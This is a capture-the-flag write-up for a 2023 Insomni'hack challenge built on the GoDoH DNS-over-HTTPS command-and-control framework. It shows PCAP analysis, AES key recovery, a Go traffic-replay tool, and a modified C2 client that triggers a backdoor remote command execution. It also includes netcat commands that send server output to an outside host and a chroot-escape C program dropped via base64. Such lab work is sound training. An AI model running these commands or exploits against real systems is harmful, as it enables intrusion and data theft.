For this 2023 edition, i chose to focus on the DoH (DNS Over Https) protocol because it has gained popularity for attackers as a command and control (C2) communication channel for hiding DNS traffic through HTTPS rather than using the traditional DNS tunneling. In this post, i will describe in details how to solve the challenge.
For this challenge, i used the famous Godoh C2 framework maintained by Sensepost that uses DNS-over-HTTPS as a transport medium. For more details about how it works in practice, please refer to their article here.
Description
The Powell Motors company provides a PCAP file which contains evidences of a potential data exfiltration with a large volume of suspicious DNS over HTTPS (DoH) requests. By analyzing the network traffic behavior, CSIRT team discovered that the attackers used the Godoh C2 framework as a covert channel for command and control (C&C) or data exfiltration to bypass security measures. Since the organization performed SSL break/inspection, all DoH traffic can be extracted from the PCAP Capture and analyzed. However, the security team was not able to find a way to decrypt data exchanges between the client and the C2 server. Some security researchers on social media also pointed that attackers left a backdoor in the C2 server that could allow remote code execution by sending a special crafted message using the C2 client…
- Hint : Among the 5 secret keys returned by the DNS server, one of them is used to interact with the live c2 😉
Provided assets
- PCAP capture : 2023-01-20-4023142337.pcap
Abstract
The PCAP capture contains a large amount of DNS-over-HTTPS traffic generated by the GoDoH C2 framework. By analyzing the communications, it appears that the C2 server is still up and running. The active domain contains a list of DNS record types. The obsolete NINFO record type returns a random hexadecimal value which looks like an AES secret key. Among the 5 secret keys returned by the DNS server, one of them is used by the active GoDoH server to encrypt data blobs in communications. By decrypting the GoDoH exchanges between the client and server, several responses sent by the client include a specific prefix “736372742e6368” followed by a command-line. By modifying the GoDoH client, we can send a special crafted message back to the server to perform remote code execution. Once exploited, the user is chrooted to a particular directory with a restricted shell. By using common bypass techniques, the user can break out of the chroot jail and find the flag.
Exploitation
Tools used
- Wireshark
- Golang
- Docker
- GCC
Reconnaissance
By analyzing the PCAP file using Wireshark, we can find a lot of DoH traffic using Google provider and two DNS lookup requests with an unknown type id 56 in the middle of nowhere… If we do a quick search on the Internet, this kind of id refers to the NINFO record type (ref. https://en.wikipedia.org/wiki/List_of_DNS_record_types). Maybe this kind of DNS record could store valuable information…
Let’s start by querying the insomnihack.tech
for NINFO records and see if there is something interesting.
Extracting all possible AES keys returned by the NINFO record (Among the 5 possible keys, there is one used by the C2 server to encrypt blob data)
$ while true; do sleep 1; dig +short NINFO doh.insomnihack.tech >> list_keys.txt; done
$ cat list_keys.txt | tr -d '"' | sort -u
121fde15994f5bf3fbd3d434b32d31dd
3ccfefeb7d869971cb14f2607f8005a5
52191178ac14745ef0e7d83da95a76ea
9773e2216d31e339b69b2b9ed0c9cf58
ed5150f380df2571167928aed54bbf60
Replaying GoDoH exchanges
The quick and easy way to understand exchanges is to replay the network traffic from the PCAP file against a GoDoH server locally.
If we look at the TCP streams on Wireshark, we can extract the following parameters:
- name parameter refers to the DNS lookup response sent by the C2 client.
- type parameter refers to the record type id.
These parameters can help us reconstruct the DNS lookup responses made by the client.
Next, we can develop a simple script to parse the PCAP file and replay the GoDoH exchanges.
// DoHReplay.go
package main
import (
"context"
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/alecthomas/kong"
"github.com/google/gopacket"
"github.com/google/gopacket/pcap"
)
var (
handle *pcap.Handle
dnsResolver string
err error
)
type Context struct {
Debug bool
}
type VersionFlag string
var cli struct {
DnsResolver string `name:"dnsip" short:"r" default:"1.1.1.1" help:"Specify the DNS Resolver to use (default: 1.1.1.1)."`
Version VersionFlag `name:"version" short:"v" help:"Print version information and quit."`
Replay struct {
PcapFile string `arg:"" required:"" name:"pcapfile" help:"Input pcap file to be processed." type:"pcapfile"`
} `cmd:"" help:"Replay GoDoH traffic."`
}
func (v VersionFlag) Decode(ctx *kong.DecodeContext) error { return nil }
func (v VersionFlag) IsBool() bool { return true }
func (v VersionFlag) BeforeApply(app *kong.Kong, vars kong.Vars) error {
fmt.Println(vars["version"])
app.Exit(0)
return nil
}
func replayDoH(pcapFile string, dnsResolver string) {
// Open the PCAP file
handle, err = pcap.OpenOffline(pcapFile)
if err != nil {
log.Fatal(err)
}
defer handle.Close()
// Set TCP filter
var filter string = "tcp"
err = handle.SetBPFFilter(filter)
if err != nil {
log.Fatal(err)
}
fmt.Println("Filter set to tcp.")
// Parse the PCAP file
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
// Dump TCP DATA
applicationLayerData := packet.ApplicationLayer().Payload()
sDATA := string(applicationLayerData[:])
dnsRequestDataPattern := regexp.MustCompile(`(?:name=)(([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,})`)
dnsRequestTypePattern := regexp.MustCompile(`(?:type=)(\d+)`)
dnsRequestDataGroups := dnsRequestDataPattern.FindStringSubmatch(sDATA)
dnsRequestTypeGroups := dnsRequestTypePattern.FindStringSubmatch(sDATA)
if len(dnsRequestDataGroups) > 0 && len(dnsRequestTypeGroups) > 0 {
dnsRequest := dnsRequestDataGroups[1]
dnsType := dnsRequestTypeGroups[1]
//Make DNS Requests
r := &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
d := net.Dialer{
Timeout: time.Millisecond * time.Duration(10000),
}
return d.DialContext(ctx, network, dnsResolver+":53")
},
}
switch dnsType {
case "16":
fmt.Println("Querying the TXT record: " + dnsRequest + " ...")
dnsTXTResponse, _ := r.LookupTXT(context.Background(), dnsRequest)
fmt.Println("DNS Response: ", dnsTXTResponse)
case "1":
fmt.Println("Querying the A record: " + dnsRequest + " ...")
dnsAResponse, _ := r.LookupHost(context.Background(), dnsRequest)
fmt.Println("DNS Response: ", dnsAResponse)
}
}
}
}
func main() {
start := time.Now()
ctx := kong.Parse(&cli, kong.Name("DoHReplay"), kong.Description("A tool to replay PCAP over GoDoH C2 server files by Poyo"), kong.UsageOnError(), kong.Vars{"version": "1.0"})
switch ctx.Command() {
case "replay <pcapfile>":
if cli.DnsResolver != "" {
dnsResolver = cli.DnsResolver
}
replayDoH(cli.Replay.PcapFile, dnsResolver)
default:
panic(ctx.Command())
}
elapsed := time.Since(start)
fmt.Printf("Execution took %s\n", elapsed)
}
To specify the AES key from the command line, we can use the custom GoDoH project here. This will help us save time when testing AES keys on our local server.
Starting GoDoH server by specifying an AES key
./godoh-linux64 c2 -k 121fde15994f5bf3fbd3d434b32d31dd
Replaying GoDoH against our local server using DoHReplay tool
./dohreplay-linux64 replay 2023-01-20-4023142337.pcap -r 127.0.0.1
Querying the TXT record: 7078706c6e.insomnihack.tech ...
DNS Response: [v=B2B3FE1C]
Querying the A record: f4fa.be.0.00.1.0.0.0.0.insomnihack.tech ...
DNS Response: [1.1.1.1]
Querying the A record: f4fa.ef.1.14b3234.1.3.5c825e634c43e0d46e69766153d8b1e733df2e4c8990e1ccb3b0e06e716e.b0e2dec8839f489ec1395f1c4691a8f1a443d0d5766827920d6b614f66d6.6b19cd08c312037835c7678be96f2aee5399c2d32a7435a98239c531e6a7.insomnihack.tech ...
DNS Response: [1.1.1.1]
Querying the A record: f4fa.ef.2.19ca273a.1.1.9378b4596139726ac56ffa3abc19441ea6f1886fce0f.0.0.insomnihack.tech ...
DNS Response: [1.1.1.1]
Querying the A record: f4fa.ca.3.00.1.0.0.0.0.insomnihack.tech ...
[...]
If we pick up a wrong key, the server will return errors that indicate that it was not able to decode and decompress the encrypted data blobs:
c2> 01 Feb 2023 00:14:39 INF first time checkin for new agent agent=pxpln
01 Feb 2023 00:14:39 INF new incoming dns stream agent=f4fa
01 Feb 2023 00:14:39 ERR failed to ungobpress error="pkcs7: Invalid padding" agent=f4fa
We can restart the local server by specifying another AES key until we find the right one. Once the right key is found (9773e2216d31e339b69b2b9ed0c9cf58), the output helps us identify what kind of commands were issued by the attackers from the C2 server:
01 Feb 2023 00:18:23 INF first time checkin for new agent agent=vcywp
01 Feb 2023 00:18:23 INF new incoming dns stream agent=8a25
Command Output:
-------
User accounts for \\DESKTOP-74KDSND
-------------------------------------------------------------------------------
Administrator bobby DefaultAccount
Guest WDAGUtilityAccount
The command completed successfully.
01 Feb 2023 00:18:23 INF new incoming dns stream agent=389a
01 Feb 2023 00:18:23 INF new incoming dns stream agent=b2cb
Command Output:
-------
Windows IP Configuration
Host Name . . . . . . . . . . . . : DESKTOP-74KDSND
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : network
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : network
Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
Physical Address. . . . . . . . . : 52-54-00-5F-21-AB
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.100.190(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : vendredi 20 janvier 2023 10:49:22
Lease Expires . . . . . . . . . . : vendredi 20 janvier 2023 12:46:10
Default Gateway . . . . . . . . . : 192.168.100.134
DHCP Server . . . . . . . . . . . : 192.168.100.1
DNS Servers . . . . . . . . . . . : 192.168.100.196
NetBIOS over Tcpip. . . . . . . . : Disabled
[...]
Command Output:
-------
Windows IP Configuration
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : network
IPv4 Address. . . . . . . . . . . : 192.168.100.190
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.134
01 Feb 2023 00:18:23 INF first time checkin for new agent agent=tdf6j
01 Feb 2023 00:18:23 INF new incoming dns stream agent=acb7
Command Output:
-------
desktop-74kdsnd\bobby
01 Feb 2023 00:18:23 INF first time checkin for new agent agent=bk6d3
01 Feb 2023 00:18:23 INF new incoming dns stream agent=6e6e
Command Output:
-------
736372742e6368nc 194.182.163.204 80 -c 'cat /etc/issue'
01 Feb 2023 00:18:23 INF new incoming dns stream agent=9f1b
[...]
The last output shows that the server seems to have received an arbitrary command with the specific prefix 736372742e6368
which seems to be some kind of backdoor.
Modifying the GoDoH client to perform RCE on C2 server
To trigger any commands on the server, we can modify our C2 client to send arbitrary outputs as follows:
// agent.go script
// executeCommand executes an OS command
func executeCommand(cmdBin string, cmdArgs []string) {
log := options.Logger
out, err := exec.Command(cmdBin, cmdArgs...).CombinedOutput()
if err != nil {
out = []byte(err.Error())
}
// Send our arbitrary response back to the server!
commandOutput := protocol.Command{}
if c2cmd != "" {
out = []byte(c2cmd)
}
commandOutput.Data = out
commandOutput.ExecTime = time.Now().UTC().UnixNano()
[...]
Rather than hardcoding the output command, we also added an additional parameter to the init()
function:
// agent.go script
var c2cmd string
func init() {
// setup proxy
cobra.OnInitialize(configureProxy)
rootCmd.AddCommand(agentCmd)
agentCmd.Flags().StringVarP(&agentCmdAgentName, "agent-name", "n", "", "Agent name to use. (default: random)")
agentCmd.Flags().IntVarP(&agentCmdAgentPoll, "poll-time", "t", 10, "Time in seconds between polls.")
agentCmd.Flags().StringVarP(&proxyAddr, "proxy", "X", "", "Use proxy, i.e hostname:port")
agentCmd.Flags().StringVarP(&proxyUsername, "proxy-username", "U", "", "proxy username to use")
agentCmd.Flags().StringVarP(&proxyPassword, "proxy-password", "P", "", "proxy password to use")
// send command to C2 (Experimental)
agentCmd.Flags().StringVarP(&c2cmd, "cmd", "c", "", "send a specific command to the c2 server")
}
Performing RCE through the C2 backdoor
The last output command issued by the client gives us a hint on how to start to interact with the live C2 server.
Simple command to extract the content of the ‘/etc/issue’ file on C2 server
./godoh-linux64 agent -k 9773e2216d31e339b69b2b9ed0c9cf58 -p google -d insomnihack.tech -c "736372742e6368nc <MY_IP_ADDRESS> 80 -c 'cat /etc/issue'" -t 2
Output received from our netcat listener
nc -kvlp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 172.20.0.2.
Ncat: Connection from 172.20.0.2:41212.
Insomni'hack Alpine Jail GNU/Linux \n \l
Notice that the live GoDoH server only accepts HTTP and HTTPS outbound traffic !
The output reveals that the GodoH process is running in a kind of jail (chroot env) for alpine linux OS. By trying the basic linux commands like ls
and such, we quickly figure out that only the following commands are available:
- echo
- base64
- cat
- whoami
To escape from the jail, we need to compile a binary and drop it on the server to break out of the chroot. The answer is on the Internet, and our precious can be found here… This binary first needs to be compiled for Alpine Linux, so let’s start a new Alpine docker container, install the necessary packages and compile the devil to retrieve the flag:
$ docker run -it alpine /bin/sh
$ apk add --no-cache musl-dev gcc make
$ vi unchroot.c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
// Invoke Find command to retrieve the flag and print the content
system("/bin/sh -c 'find / -type f -name flag.txt -exec cat {} \\;'");
}
$ gcc unchroot.c -o unchroot && strip unchroot
Since the chmod
command is not available from the jail, we need to find a way to execute our binary. A simple trick is to load our binary using the dynamic linker/loader /lib/ld-musl-x86_64.so.1
from musl-dev package.
Finally, we have all the pieces to build our final exploit command and grab the flag.
Capturing the Flag !
Final exploit to grab the flag !
./godoh-linux64 agent -k 9773e2216d31e339b69b2b9ed0c9cf58 -p google -d insomnihack.tech -c "736372742e6368nc <MY_IP_ADDRESS> 80 -c 'echo -n <UNCHROOT BINARY ENCODED IN BASE64 FORMAT> | base64 -d > unchroot && PATH=$PATH:/ && /lib/ld-musl-x86_64.so.1 /unchroot'" -t 2
nc -kvlp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 172.19.0.2.
Ncat: Connection from 172.19.0.2:58370.
INS{E@t_And_P0wn_My_GoD0h!}